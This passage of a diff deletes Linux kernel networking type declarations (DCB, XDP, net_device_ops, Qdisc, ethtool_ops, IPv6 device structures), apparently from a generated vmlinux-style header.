ieee_qcn_stats *); - int (*ieee_getpfc)(struct net_device *, struct ieee_pfc *); - int (*ieee_setpfc)(struct net_device *, struct ieee_pfc *); - int (*ieee_getapp)(struct net_device *, struct dcb_app *); - int (*ieee_setapp)(struct net_device *, struct dcb_app *); - int (*ieee_delapp)(struct net_device *, struct dcb_app *); - int (*ieee_peer_getets)(struct net_device *, struct ieee_ets *); - int (*ieee_peer_getpfc)(struct net_device *, struct ieee_pfc *); - u8 (*getstate)(struct net_device *); - u8 (*setstate)(struct net_device *, u8); - void (*getpermhwaddr)(struct net_device *, u8 *); - void (*setpgtccfgtx)(struct net_device *, int, u8, u8, u8, u8); - void (*setpgbwgcfgtx)(struct net_device *, int, u8); - void (*setpgtccfgrx)(struct net_device *, int, u8, u8, u8, u8); - void (*setpgbwgcfgrx)(struct net_device *, int, u8); - void (*getpgtccfgtx)(struct net_device *, int, u8 *, u8 *, u8 *, u8 *); - void (*getpgbwgcfgtx)(struct net_device *, int, u8 *); - void (*getpgtccfgrx)(struct net_device *, int, u8 *, u8 *, u8 *, u8 *); - void (*getpgbwgcfgrx)(struct net_device *, int, u8 *); - void (*setpfccfg)(struct net_device *, int, u8); - void (*getpfccfg)(struct net_device *, int, u8 *); - u8 (*setall)(struct net_device *); - u8 (*getcap)(struct net_device *, int, u8 *); - int (*getnumtcs)(struct net_device *, int, u8 *); - int (*setnumtcs)(struct net_device *, int, u8); - u8 (*getpfcstate)(struct net_device *); - void (*setpfcstate)(struct net_device *, u8); - void (*getbcncfg)(struct net_device *, int, u32 *); - void (*setbcncfg)(struct net_device *, int, u32); - void (*getbcnrp)(struct net_device *, int, u8 *); - void (*setbcnrp)(struct net_device *, int, u8); - int (*setapp)(struct net_device *, u8, u16, u8); - int (*getapp)(struct net_device *, u8, u16); - u8 (*getfeatcfg)(struct net_device *, int, u8 *); - u8 (*setfeatcfg)(struct net_device *, int, u8); - u8 (*getdcbx)(struct net_device *); - u8 (*setdcbx)(struct net_device *, u8); - int (*peer_getappinfo)(struct net_device *, struct dcb_peer_app_info *, u16 *); - int (*peer_getapptable)(struct net_device *, struct dcb_app *); - int (*cee_peer_getpg)(struct net_device *, struct cee_pg *); - int (*cee_peer_getpfc)(struct net_device *, struct cee_pfc *); - int (*dcbnl_getbuffer)(struct net_device *, struct dcbnl_buffer *); - int (*dcbnl_setbuffer)(struct net_device *, struct dcbnl_buffer *); - int (*dcbnl_setapptrust)(struct net_device *, u8 *, int); - int (*dcbnl_getapptrust)(struct net_device *, u8 *, int *); -}; - -struct xdp_mem_info { - u32 type; - u32 id; -}; - -struct xdp_rxq_info { - struct net_device *dev; - u32 queue_index; - u32 reg_state; - struct xdp_mem_info mem; - unsigned int napi_id; - u32 frag_size; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct xdp_txq_info { - struct net_device *dev; -}; - -struct xdp_buff { - void *data; - void *data_end; - void *data_meta; - void *data_hard_start; - struct xdp_rxq_info *rxq; - struct xdp_txq_info *txq; - u32 frame_sz; - u32 flags; -}; - -struct xdp_frame { - void *data; - u16 len; - u16 headroom; - u32 metasize; - struct xdp_mem_info mem; - struct net_device *dev_rx; - u32 frame_sz; - u32 flags; -}; - -struct xdp_attachment_info { - struct bpf_prog *prog; - u32 flags; -}; - -struct ndmsg { - __u8 ndm_family; - __u8 ndm_pad1; - __u16 ndm_pad2; - __s32 ndm_ifindex; - __u16 ndm_state; - __u8 ndm_flags; - __u8 ndm_type; -}; - -typedef struct { - unsigned int clock_rate; - unsigned int clock_type; - short unsigned int loopback; -} sync_serial_settings; - -typedef struct { - unsigned int clock_rate; - unsigned int clock_type; - short unsigned int loopback; - unsigned int slot_map; -} te1_settings; - -typedef struct { - short unsigned int encoding; - short unsigned int parity; -} raw_hdlc_proto; - -typedef struct { - unsigned int t391; - unsigned int t392; - unsigned int n391; - unsigned int n392; - unsigned int n393; - short unsigned int lmi; - short unsigned int dce; -} fr_proto; - -typedef struct { - unsigned int dlci; -} fr_proto_pvc; - -typedef struct { - unsigned int dlci; - char master[16]; -} fr_proto_pvc_info; - -typedef struct { - unsigned int interval; - unsigned int timeout; -} cisco_proto; - -typedef struct { - short unsigned int dce; - unsigned int modulo; - unsigned int window; - unsigned int t1; - unsigned int t2; - unsigned int n2; -} x25_hdlc_proto; - -enum net_device_flags { - IFF_UP = 1, - IFF_BROADCAST = 2, - IFF_DEBUG = 4, - IFF_LOOPBACK = 8, - IFF_POINTOPOINT = 16, - IFF_NOTRAILERS = 32, - IFF_RUNNING = 64, - IFF_NOARP = 128, - IFF_PROMISC = 256, - IFF_ALLMULTI = 512, - IFF_MASTER = 1024, - IFF_SLAVE = 2048, - IFF_MULTICAST = 4096, - IFF_PORTSEL = 8192, - IFF_AUTOMEDIA = 16384, - IFF_DYNAMIC = 32768, - IFF_LOWER_UP = 65536, - IFF_DORMANT = 131072, - IFF_ECHO = 262144, -}; - -struct ifmap { - long unsigned int mem_start; - long unsigned int mem_end; - short unsigned int base_addr; - unsigned char irq; - unsigned char dma; - unsigned char port; -}; - -struct if_settings { - unsigned int type; - unsigned int size; - union { - raw_hdlc_proto *raw_hdlc; - cisco_proto *cisco; - fr_proto *fr; - fr_proto_pvc *fr_pvc; - fr_proto_pvc_info *fr_pvc_info; - x25_hdlc_proto *x25; - sync_serial_settings *sync; - te1_settings *te1; - } ifs_ifsu; -}; - -struct ifreq { - union { - char ifrn_name[16]; - } ifr_ifrn; - union { - struct sockaddr ifru_addr; - struct sockaddr ifru_dstaddr; - struct sockaddr ifru_broadaddr; - struct sockaddr ifru_netmask; - struct sockaddr ifru_hwaddr; - short int ifru_flags; - int ifru_ivalue; - int ifru_mtu; - struct ifmap ifru_map; - char ifru_slave[16]; - char ifru_newname[16]; - void *ifru_data; - struct if_settings ifru_settings; - } ifr_ifru; -}; - -struct rtnl_link_stats64 { - __u64 rx_packets; - __u64 tx_packets; - __u64 rx_bytes; - __u64 tx_bytes; - __u64 rx_errors; - __u64 tx_errors; - __u64 rx_dropped; - __u64 tx_dropped; - __u64 multicast; - __u64 collisions; - __u64 rx_length_errors; - __u64 rx_over_errors; - __u64 rx_crc_errors; - __u64 rx_frame_errors; - __u64 rx_fifo_errors; - __u64 rx_missed_errors; - __u64 tx_aborted_errors; - __u64 tx_carrier_errors; - __u64 tx_fifo_errors; - __u64 tx_heartbeat_errors; - __u64 tx_window_errors; - __u64 rx_compressed; - __u64 tx_compressed; - __u64 rx_nohandler; - __u64 rx_otherhost_dropped; -}; - -struct rtnl_hw_stats64 { - __u64 rx_packets; - __u64 tx_packets; - __u64 rx_bytes; - __u64 tx_bytes; - __u64 rx_errors; - __u64 tx_errors; - __u64 rx_dropped; - __u64 tx_dropped; - __u64 multicast; -}; - -struct ifla_vf_guid { - __u32 vf; - __u64 guid; -}; - -enum { - IFLA_VF_LINK_STATE_AUTO = 0, - IFLA_VF_LINK_STATE_ENABLE = 1, - IFLA_VF_LINK_STATE_DISABLE = 2, - __IFLA_VF_LINK_STATE_MAX = 3, -}; - -struct ifla_vf_stats { - __u64 rx_packets; - __u64 tx_packets; - __u64 rx_bytes; - __u64 tx_bytes; - __u64 broadcast; - __u64 multicast; - __u64 rx_dropped; - __u64 tx_dropped; -}; - -struct ifla_vf_info { - __u32 vf; - __u8 mac[32]; - __u32 vlan; - __u32 qos; - __u32 spoofchk; - __u32 linkstate; - __u32 min_tx_rate; - __u32 max_tx_rate; - __u32 rss_query_en; - __u32 trusted; - __be16 vlan_proto; -}; - -struct tc_stats { - __u64 bytes; - __u32 packets; - __u32 drops; - __u32 overlimits; - __u32 bps; - __u32 pps; - __u32 qlen; - __u32 backlog; -}; - -struct tc_sizespec { - unsigned char cell_log; - unsigned char size_log; - short int cell_align; - int overhead; - unsigned int linklayer; - unsigned int mpu; - unsigned int mtu; - unsigned int tsize; -}; - -enum netdev_tx { - __NETDEV_TX_MIN = -2147483648, - NETDEV_TX_OK = 0, - NETDEV_TX_BUSY = 16, -}; - -typedef enum netdev_tx netdev_tx_t; - -struct net_device_core_stats { - long unsigned int rx_dropped; - long unsigned int tx_dropped; - long unsigned int rx_nohandler; - long unsigned int rx_otherhost_dropped; -}; - -struct header_ops { - int (*create)(struct sk_buff *, struct net_device *, short unsigned int, const void *, const void *, unsigned int); - int (*parse)(const struct sk_buff *, unsigned char *); - int (*cache)(const struct neighbour *, struct hh_cache *, __be16); - void (*cache_update)(struct hh_cache *, const struct net_device *, const unsigned char *); - bool (*validate)(const char *, unsigned int); - __be16 (*parse_protocol)(const struct sk_buff *); -}; - -struct xsk_buff_pool; - -struct netdev_queue { - struct net_device *dev; - netdevice_tracker dev_tracker; - struct Qdisc *qdisc; - struct Qdisc *qdisc_sleeping; - struct kobject kobj; - int numa_node; - long unsigned int tx_maxrate; - atomic_long_t trans_timeout; - struct net_device *sb_dev; - struct xsk_buff_pool *pool; - spinlock_t _xmit_lock; - int xmit_lock_owner; - long unsigned int trans_start; - long unsigned int state; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct dql dql; -}; - -struct net_rate_estimator; - -struct qdisc_skb_head { - struct sk_buff *head; - struct sk_buff *tail; - __u32 qlen; - spinlock_t lock; -}; - -struct gnet_stats_basic_sync { - u64_stats_t bytes; - u64_stats_t packets; - struct u64_stats_sync syncp; -}; - -struct gnet_stats_queue { - __u32 qlen; - __u32 backlog; - __u32 drops; - __u32 requeues; - __u32 overlimits; -}; - -struct Qdisc_ops; - -struct qdisc_size_table; - -struct Qdisc { - int (*enqueue)(struct sk_buff *, struct Qdisc *, struct sk_buff **); - struct sk_buff * (*dequeue)(struct Qdisc *); - unsigned int flags; - u32 limit; - const struct Qdisc_ops *ops; - struct qdisc_size_table *stab; - struct hlist_node hash; - u32 handle; - u32 parent; - struct netdev_queue *dev_queue; - struct net_rate_estimator *rate_est; - struct gnet_stats_basic_sync *cpu_bstats; - struct gnet_stats_queue *cpu_qstats; - int pad; - refcount_t refcnt; - long: 64; - long: 64; - long: 64; - struct sk_buff_head gso_skb; - struct qdisc_skb_head q; - struct gnet_stats_basic_sync bstats; - struct gnet_stats_queue qstats; - long unsigned int state; - long unsigned int state2; - struct Qdisc *next_sched; - struct sk_buff_head skb_bad_txq; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - spinlock_t busylock; - spinlock_t seqlock; - struct callback_head rcu; - netdevice_tracker dev_tracker; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long int privdata[0]; -}; - -struct rps_map { - unsigned int len; - struct callback_head rcu; - u16 cpus[0]; -}; - -struct rps_dev_flow { - u16 cpu; - u16 filter; - unsigned int last_qtail; -}; - -struct rps_dev_flow_table { - unsigned int mask; - struct callback_head rcu; - struct rps_dev_flow flows[0]; -}; - -struct netdev_rx_queue { - struct xdp_rxq_info xdp_rxq; - struct rps_map *rps_map; - struct rps_dev_flow_table *rps_flow_table; - struct kobject kobj; - struct net_device *dev; - netdevice_tracker dev_tracker; - struct xsk_buff_pool *pool; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct xps_map { - unsigned int len; - unsigned int alloc_len; - struct callback_head rcu; - u16 queues[0]; -}; - -struct xps_dev_maps { - struct callback_head rcu; - unsigned int nr_ids; - s16 num_tc; - struct xps_map *attr_map[0]; -}; - -struct netdev_phys_item_id { - unsigned char id[32]; - unsigned char id_len; -}; - -enum net_device_path_type { - DEV_PATH_ETHERNET = 0, - DEV_PATH_VLAN = 1, - DEV_PATH_BRIDGE = 2, - DEV_PATH_PPPOE = 3, - DEV_PATH_DSA = 4, - DEV_PATH_MTK_WDMA = 5, -}; - -struct net_device_path { - enum net_device_path_type type; - const struct net_device *dev; - union { - struct { - u16 id; - __be16 proto; - u8 h_dest[6]; - } encap; - struct { - enum { - DEV_PATH_BR_VLAN_KEEP = 0, - DEV_PATH_BR_VLAN_TAG = 1, - DEV_PATH_BR_VLAN_UNTAG = 2, - DEV_PATH_BR_VLAN_UNTAG_HW = 3, - } vlan_mode; - u16 vlan_id; - __be16 vlan_proto; - } bridge; - struct { - int port; - u16 proto; - } dsa; - struct { - u8 wdma_idx; - u8 queue; - u16 wcid; - u8 bss; - } mtk_wdma; - }; -}; - -struct net_device_path_ctx { - const struct net_device *dev; - u8 daddr[6]; - int num_vlans; - struct { - u16 id; - __be16 proto; - } vlan[2]; -}; - -enum tc_setup_type { - TC_QUERY_CAPS = 0, - TC_SETUP_QDISC_MQPRIO = 1, - TC_SETUP_CLSU32 = 2, - TC_SETUP_CLSFLOWER = 3, - TC_SETUP_CLSMATCHALL = 4, - TC_SETUP_CLSBPF = 5, - TC_SETUP_BLOCK = 6, - TC_SETUP_QDISC_CBS = 7, - TC_SETUP_QDISC_RED = 8, - TC_SETUP_QDISC_PRIO = 9, - TC_SETUP_QDISC_MQ = 10, - TC_SETUP_QDISC_ETF = 11, - TC_SETUP_ROOT_QDISC = 12, - TC_SETUP_QDISC_GRED = 13, - TC_SETUP_QDISC_TAPRIO = 14, - TC_SETUP_FT = 15, - TC_SETUP_QDISC_ETS = 16, - TC_SETUP_QDISC_TBF = 17, - TC_SETUP_QDISC_FIFO = 18, - TC_SETUP_QDISC_HTB = 19, - TC_SETUP_ACT = 20, -}; - -enum bpf_netdev_command { - XDP_SETUP_PROG = 0, - XDP_SETUP_PROG_HW = 1, - BPF_OFFLOAD_MAP_ALLOC = 2, - BPF_OFFLOAD_MAP_FREE = 3, - XDP_SETUP_XSK_POOL = 4, -}; - -struct bpf_offloaded_map; - -struct netdev_bpf { - enum bpf_netdev_command command; - union { - struct { - u32 flags; - struct bpf_prog *prog; - struct netlink_ext_ack *extack; - }; - struct { - struct bpf_offloaded_map *offmap; - }; - struct { - struct xsk_buff_pool *pool; - u16 queue_id; - } xsk; - }; -}; - -struct dev_ifalias { - struct callback_head rcuhead; - char ifalias[0]; -}; - -struct ip_tunnel_parm; - -struct net_device_ops { - int (*ndo_init)(struct net_device *); - void (*ndo_uninit)(struct net_device *); - int (*ndo_open)(struct net_device *); - int (*ndo_stop)(struct net_device *); - netdev_tx_t (*ndo_start_xmit)(struct sk_buff *, struct net_device *); - netdev_features_t (*ndo_features_check)(struct sk_buff *, struct net_device *, netdev_features_t); - u16 (*ndo_select_queue)(struct net_device *, struct sk_buff *, struct net_device *); - void (*ndo_change_rx_flags)(struct net_device *, int); - void (*ndo_set_rx_mode)(struct net_device *); - int (*ndo_set_mac_address)(struct net_device *, void *); - int (*ndo_validate_addr)(struct net_device *); - int (*ndo_do_ioctl)(struct net_device *, struct ifreq *, int); - int (*ndo_eth_ioctl)(struct net_device *, struct ifreq *, int); - int (*ndo_siocbond)(struct net_device *, struct ifreq *, int); - int (*ndo_siocwandev)(struct net_device *, struct if_settings *); - int (*ndo_siocdevprivate)(struct net_device *, struct ifreq *, void *, int); - int (*ndo_set_config)(struct net_device *, struct ifmap *); - int (*ndo_change_mtu)(struct net_device *, int); - int (*ndo_neigh_setup)(struct net_device *, struct neigh_parms *); - void (*ndo_tx_timeout)(struct net_device *, unsigned int); - void (*ndo_get_stats64)(struct net_device *, struct rtnl_link_stats64 *); - bool (*ndo_has_offload_stats)(const struct net_device *, int); - int (*ndo_get_offload_stats)(int, const struct net_device *, void *); - struct net_device_stats * (*ndo_get_stats)(struct net_device *); - int (*ndo_vlan_rx_add_vid)(struct net_device *, __be16, u16); - int (*ndo_vlan_rx_kill_vid)(struct net_device *, __be16, u16); - int (*ndo_set_vf_mac)(struct net_device *, int, u8 *); - int (*ndo_set_vf_vlan)(struct net_device *, int, u16, u8, __be16); - int (*ndo_set_vf_rate)(struct net_device *, int, int, int); - int (*ndo_set_vf_spoofchk)(struct net_device *, int, bool); - int (*ndo_set_vf_trust)(struct net_device *, int, bool); - int (*ndo_get_vf_config)(struct net_device *, int, struct ifla_vf_info *); - int (*ndo_set_vf_link_state)(struct net_device *, int, int); - int (*ndo_get_vf_stats)(struct net_device *, int, struct ifla_vf_stats *); - int (*ndo_set_vf_port)(struct net_device *, int, struct nlattr **); - int (*ndo_get_vf_port)(struct net_device *, int, struct sk_buff *); - int (*ndo_get_vf_guid)(struct net_device *, int, struct ifla_vf_guid *, struct ifla_vf_guid *); - int (*ndo_set_vf_guid)(struct net_device *, int, u64, int); - int (*ndo_set_vf_rss_query_en)(struct net_device *, int, bool); - int (*ndo_setup_tc)(struct net_device *, enum tc_setup_type, void *); - int (*ndo_rx_flow_steer)(struct net_device *, const struct sk_buff *, u16, u32); - int (*ndo_add_slave)(struct net_device *, struct net_device *, struct netlink_ext_ack *); - int (*ndo_del_slave)(struct net_device *, struct net_device *); - struct net_device * (*ndo_get_xmit_slave)(struct net_device *, struct sk_buff *, bool); - struct net_device * (*ndo_sk_get_lower_dev)(struct net_device *, struct sock *); - netdev_features_t (*ndo_fix_features)(struct net_device *, netdev_features_t); - int (*ndo_set_features)(struct net_device *, netdev_features_t); - int (*ndo_neigh_construct)(struct net_device *, struct neighbour *); - void (*ndo_neigh_destroy)(struct net_device *, struct neighbour *); - int (*ndo_fdb_add)(struct ndmsg *, struct nlattr **, struct net_device *, const unsigned char *, u16, u16, struct netlink_ext_ack *); - int (*ndo_fdb_del)(struct ndmsg *, struct nlattr **, struct net_device *, const unsigned char *, u16, struct netlink_ext_ack *); - int (*ndo_fdb_del_bulk)(struct ndmsg *, struct nlattr **, struct net_device *, u16, struct netlink_ext_ack *); - int (*ndo_fdb_dump)(struct sk_buff *, struct netlink_callback *, struct net_device *, struct net_device *, int *); - int (*ndo_fdb_get)(struct sk_buff *, struct nlattr **, struct net_device *, const unsigned char *, u16, u32, u32, struct netlink_ext_ack *); - int (*ndo_bridge_setlink)(struct net_device *, struct nlmsghdr *, u16, struct netlink_ext_ack *); - int (*ndo_bridge_getlink)(struct sk_buff *, u32, u32, struct net_device *, u32, int); - int (*ndo_bridge_dellink)(struct net_device *, struct nlmsghdr *, u16); - int (*ndo_change_carrier)(struct net_device *, bool); - int (*ndo_get_phys_port_id)(struct net_device *, struct netdev_phys_item_id *); - int (*ndo_get_port_parent_id)(struct net_device *, struct netdev_phys_item_id *); - int (*ndo_get_phys_port_name)(struct net_device *, char *, size_t); - void * (*ndo_dfwd_add_station)(struct net_device *, struct net_device *); - void (*ndo_dfwd_del_station)(struct net_device *, void *); - int (*ndo_set_tx_maxrate)(struct net_device *, int, u32); - int (*ndo_get_iflink)(const struct net_device *); - int (*ndo_fill_metadata_dst)(struct net_device *, struct sk_buff *); - void (*ndo_set_rx_headroom)(struct net_device *, int); - int (*ndo_bpf)(struct net_device *, struct netdev_bpf *); - int (*ndo_xdp_xmit)(struct net_device *, int, struct xdp_frame **, u32); - struct net_device * (*ndo_xdp_get_xmit_slave)(struct net_device *, struct xdp_buff *); - int (*ndo_xsk_wakeup)(struct net_device *, u32, u32); - int (*ndo_tunnel_ctl)(struct net_device *, struct ip_tunnel_parm *, int); - struct net_device * (*ndo_get_peer_dev)(struct net_device *); - int (*ndo_fill_forward_path)(struct net_device_path_ctx *, struct net_device_path *); - ktime_t (*ndo_get_tstamp)(struct net_device *, const struct skb_shared_hwtstamps *, bool); -}; - -struct neigh_parms { - possible_net_t net; - struct net_device *dev; - netdevice_tracker dev_tracker; - struct list_head list; - int (*neigh_setup)(struct neighbour *); - struct neigh_table *tbl; - void *sysctl_table; - int dead; - refcount_t refcnt; - struct callback_head callback_head; - int reachable_time; - u32 qlen; - int data[14]; - long unsigned int data_state[1]; -}; - -struct iphdr { - __u8 ihl: 4; - __u8 version: 4; - __u8 tos; - __be16 tot_len; - __be16 id; - __be16 frag_off; - __u8 ttl; - __u8 protocol; - __sum16 check; - union { - struct { - __be32 saddr; - __be32 daddr; - }; - struct { - __be32 saddr; - __be32 daddr; - } addrs; - }; -}; - -struct ip_tunnel_parm { - char name[16]; - int link; - __be16 i_flags; - __be16 o_flags; - __be32 i_key; - __be32 o_key; - struct iphdr iph; -}; - -enum netdev_priv_flags { - IFF_802_1Q_VLAN = 1ULL, - IFF_EBRIDGE = 2ULL, - IFF_BONDING = 4ULL, - IFF_ISATAP = 8ULL, - IFF_WAN_HDLC = 16ULL, - IFF_XMIT_DST_RELEASE = 32ULL, - IFF_DONT_BRIDGE = 64ULL, - IFF_DISABLE_NETPOLL = 128ULL, - IFF_MACVLAN_PORT = 256ULL, - IFF_BRIDGE_PORT = 512ULL, - IFF_OVS_DATAPATH = 1024ULL, - IFF_TX_SKB_SHARING = 2048ULL, - IFF_UNICAST_FLT = 4096ULL, - IFF_TEAM_PORT = 8192ULL, - IFF_SUPP_NOFCS = 16384ULL, - IFF_LIVE_ADDR_CHANGE = 32768ULL, - IFF_MACVLAN = 65536ULL, - IFF_XMIT_DST_RELEASE_PERM = 131072ULL, - IFF_L3MDEV_MASTER = 262144ULL, - IFF_NO_QUEUE = 524288ULL, - IFF_OPENVSWITCH = 1048576ULL, - IFF_L3MDEV_SLAVE = 2097152ULL, - IFF_TEAM = 4194304ULL, - IFF_RXFH_CONFIGURED = 8388608ULL, - IFF_PHONY_HEADROOM = 16777216ULL, - IFF_MACSEC = 33554432ULL, - IFF_NO_RX_HANDLER = 67108864ULL, - IFF_FAILOVER = 134217728ULL, - IFF_FAILOVER_SLAVE = 268435456ULL, - IFF_L3MDEV_RX_HANDLER = 536870912ULL, - IFF_TX_SKB_NO_LINEAR = 2147483648ULL, - IFF_CHANGE_PROTO_DOWN = 4294967296ULL, -}; - -struct pcpu_lstats { - u64_stats_t packets; - u64_stats_t bytes; - struct u64_stats_sync syncp; -}; - -struct pcpu_sw_netstats { - u64_stats_t rx_packets; - u64_stats_t rx_bytes; - u64_stats_t tx_packets; - u64_stats_t tx_bytes; - struct u64_stats_sync syncp; -}; - -enum ethtool_phys_id_state { - ETHTOOL_ID_INACTIVE = 0, - ETHTOOL_ID_ACTIVE = 1, - ETHTOOL_ID_ON = 2, - ETHTOOL_ID_OFF = 3, -}; - -struct ethtool_drvinfo; - -struct ethtool_regs; - -struct ethtool_wolinfo; - -struct ethtool_link_ext_state_info; - -struct ethtool_link_ext_stats; - -struct ethtool_eeprom; - -struct ethtool_coalesce; - -struct kernel_ethtool_coalesce; - -struct ethtool_ringparam; - -struct kernel_ethtool_ringparam; - -struct ethtool_pause_stats; - -struct ethtool_pauseparam; - -struct ethtool_test; - -struct ethtool_stats; - -struct ethtool_rxnfc; - -struct ethtool_flash; - -struct ethtool_channels; - -struct ethtool_dump; - -struct ethtool_ts_info; - -struct ethtool_modinfo; - -struct ethtool_eee; - -struct ethtool_tunable; - -struct ethtool_link_ksettings; - -struct ethtool_fec_stats; - -struct ethtool_fecparam; - -struct ethtool_module_eeprom; - -struct ethtool_eth_phy_stats; - -struct ethtool_eth_mac_stats; - -struct ethtool_eth_ctrl_stats; - -struct ethtool_rmon_stats; - -struct ethtool_rmon_hist_range; - -struct ethtool_module_power_mode_params; - -struct ethtool_ops { - u32 cap_link_lanes_supported: 1; - u32 supported_coalesce_params; - u32 supported_ring_params; - void (*get_drvinfo)(struct net_device *, struct ethtool_drvinfo *); - int (*get_regs_len)(struct net_device *); - void (*get_regs)(struct net_device *, struct ethtool_regs *, void *); - void (*get_wol)(struct net_device *, struct ethtool_wolinfo *); - int (*set_wol)(struct net_device *, struct ethtool_wolinfo *); - u32 (*get_msglevel)(struct net_device *); - void (*set_msglevel)(struct net_device *, u32); - int (*nway_reset)(struct net_device *); - u32 (*get_link)(struct net_device *); - int (*get_link_ext_state)(struct net_device *, struct ethtool_link_ext_state_info *); - void (*get_link_ext_stats)(struct net_device *, struct ethtool_link_ext_stats *); - int (*get_eeprom_len)(struct net_device *); - int (*get_eeprom)(struct net_device *, struct ethtool_eeprom *, u8 *); - int (*set_eeprom)(struct net_device *, struct ethtool_eeprom *, u8 *); - int (*get_coalesce)(struct net_device *, struct ethtool_coalesce *, struct kernel_ethtool_coalesce *, struct netlink_ext_ack *); - int (*set_coalesce)(struct net_device *, struct ethtool_coalesce *, struct kernel_ethtool_coalesce *, struct netlink_ext_ack *); - void (*get_ringparam)(struct net_device *, struct ethtool_ringparam *, struct kernel_ethtool_ringparam *, struct netlink_ext_ack *); - int (*set_ringparam)(struct net_device *, struct ethtool_ringparam *, struct kernel_ethtool_ringparam *, struct netlink_ext_ack *); - void (*get_pause_stats)(struct net_device *, struct ethtool_pause_stats *); - void (*get_pauseparam)(struct net_device *, struct ethtool_pauseparam *); - int (*set_pauseparam)(struct net_device *, struct ethtool_pauseparam *); - void (*self_test)(struct net_device *, struct ethtool_test *, u64 *); - void (*get_strings)(struct net_device *, u32, u8 *); - int (*set_phys_id)(struct net_device *, enum ethtool_phys_id_state); - void (*get_ethtool_stats)(struct net_device *, struct ethtool_stats *, u64 *); - int (*begin)(struct net_device *); - void (*complete)(struct net_device *); - u32 (*get_priv_flags)(struct net_device *); - int (*set_priv_flags)(struct net_device *, u32); - int (*get_sset_count)(struct net_device *, int); - int (*get_rxnfc)(struct net_device *, struct ethtool_rxnfc *, u32 *); - int (*set_rxnfc)(struct net_device *, struct ethtool_rxnfc *); - int (*flash_device)(struct net_device *, struct ethtool_flash *); - int (*reset)(struct net_device *, u32 *); - u32 (*get_rxfh_key_size)(struct net_device *); - u32 (*get_rxfh_indir_size)(struct net_device *); - int (*get_rxfh)(struct net_device *, u32 *, u8 *, u8 *); - int (*set_rxfh)(struct net_device *, const u32 *, const u8 *, const u8); - int (*get_rxfh_context)(struct net_device *, u32 *, u8 *, u8 *, u32); - int (*set_rxfh_context)(struct net_device *, const u32 *, const u8 *, const u8, u32 *, bool); - void (*get_channels)(struct net_device *, struct ethtool_channels *); - int (*set_channels)(struct net_device *, struct ethtool_channels *); - int (*get_dump_flag)(struct net_device *, struct ethtool_dump *); - int (*get_dump_data)(struct net_device *, struct ethtool_dump *, void *); - int (*set_dump)(struct net_device *, struct ethtool_dump *); - int (*get_ts_info)(struct net_device *, struct ethtool_ts_info *); - int (*get_module_info)(struct net_device *, struct ethtool_modinfo *); - int (*get_module_eeprom)(struct net_device *, struct ethtool_eeprom *, u8 *); - int (*get_eee)(struct net_device *, struct ethtool_eee *); - int (*set_eee)(struct net_device *, struct ethtool_eee *); - int (*get_tunable)(struct net_device *, const struct ethtool_tunable *, void *); - int (*set_tunable)(struct net_device *, const struct ethtool_tunable *, const void *); - int (*get_per_queue_coalesce)(struct net_device *, u32, struct ethtool_coalesce *); - int (*set_per_queue_coalesce)(struct net_device *, u32, struct ethtool_coalesce *); - int (*get_link_ksettings)(struct net_device *, struct ethtool_link_ksettings *); - int (*set_link_ksettings)(struct net_device *, const struct ethtool_link_ksettings *); - void (*get_fec_stats)(struct net_device *, struct ethtool_fec_stats *); - int (*get_fecparam)(struct net_device *, struct ethtool_fecparam *); - int (*set_fecparam)(struct net_device *, struct ethtool_fecparam *); - void (*get_ethtool_phy_stats)(struct net_device *, struct ethtool_stats *, u64 *); - int (*get_phy_tunable)(struct net_device *, const struct ethtool_tunable *, void *); - int (*set_phy_tunable)(struct net_device *, const struct ethtool_tunable *, const void *); - int (*get_module_eeprom_by_page)(struct net_device *, const struct ethtool_module_eeprom *, struct netlink_ext_ack *); - void (*get_eth_phy_stats)(struct net_device *, struct ethtool_eth_phy_stats *); - void (*get_eth_mac_stats)(struct net_device *, struct ethtool_eth_mac_stats *); - void (*get_eth_ctrl_stats)(struct net_device *, struct ethtool_eth_ctrl_stats *); - void (*get_rmon_stats)(struct net_device *, struct ethtool_rmon_stats *, const struct ethtool_rmon_hist_range **); - int (*get_module_power_mode)(struct net_device *, struct ethtool_module_power_mode_params *, struct netlink_ext_ack *); - int (*set_module_power_mode)(struct net_device *, const struct ethtool_module_power_mode_params *, struct netlink_ext_ack *); -}; - -struct l3mdev_ops { - u32 (*l3mdev_fib_table)(const struct net_device *); - struct sk_buff * (*l3mdev_l3_rcv)(struct net_device *, struct sk_buff *, u16); - struct sk_buff * (*l3mdev_l3_out)(struct net_device *, struct sock *, struct sk_buff *, u16); - struct dst_entry * (*l3mdev_link_scope_lookup)(const struct net_device *, struct flowi6 *); -}; - -struct nd_opt_hdr; - -struct ndisc_options; - -struct prefix_info; - -struct ndisc_ops { - int (*is_useropt)(u8); - int (*parse_options)(const struct net_device *, struct nd_opt_hdr *, struct ndisc_options *); - void (*update)(const struct net_device *, struct neighbour *, u32, u8, const struct ndisc_options *); - int (*opt_addr_space)(const struct net_device *, u8, struct neighbour *, u8 *, u8 **); - void (*fill_addr_option)(const struct net_device *, struct sk_buff *, u8, const u8 *); - void (*prefix_rcv_add_addr)(struct net *, struct net_device *, const struct prefix_info *, struct inet6_dev *, struct in6_addr *, int, u32, bool, bool, __u32, u32, bool); -}; - -struct ipv6_devstat { - struct proc_dir_entry *proc_dir_entry; - struct ipstats_mib *ipv6; - struct icmpv6_mib_device *icmpv6dev; - struct icmpv6msg_mib_device *icmpv6msgdev; -}; - -struct ifmcaddr6; - -struct ifacaddr6; - -struct inet6_dev { - struct net_device *dev; - netdevice_tracker dev_tracker; - struct list_head addr_list; - struct ifmcaddr6 *mc_list; - struct ifmcaddr6 *mc_tomb; - unsigned char mc_qrv; - unsigned char mc_gq_running; - unsigned char mc_ifc_count; - unsigned char mc_dad_count; - long unsigned int mc_v1_seen; - long unsigned int mc_qi; - long unsigned int mc_qri; - long unsigned int mc_maxdelay; - struct delayed_work mc_gq_work; - struct delayed_work mc_ifc_work; - struct delayed_work mc_dad_work; - struct delayed_work mc_query_work; - struct delayed_work mc_report_work; - struct sk_buff_head mc_query_queue; - struct sk_buff_head mc_report_queue; - spinlock_t mc_query_lock; - spinlock_t mc_report_lock; - struct mutex mc_lock; - struct ifacaddr6 *ac_list; - rwlock_t lock; - refcount_t refcnt; - __u32 if_flags; - int dead; - u32 desync_factor; - struct list_head tempaddr_list; - struct 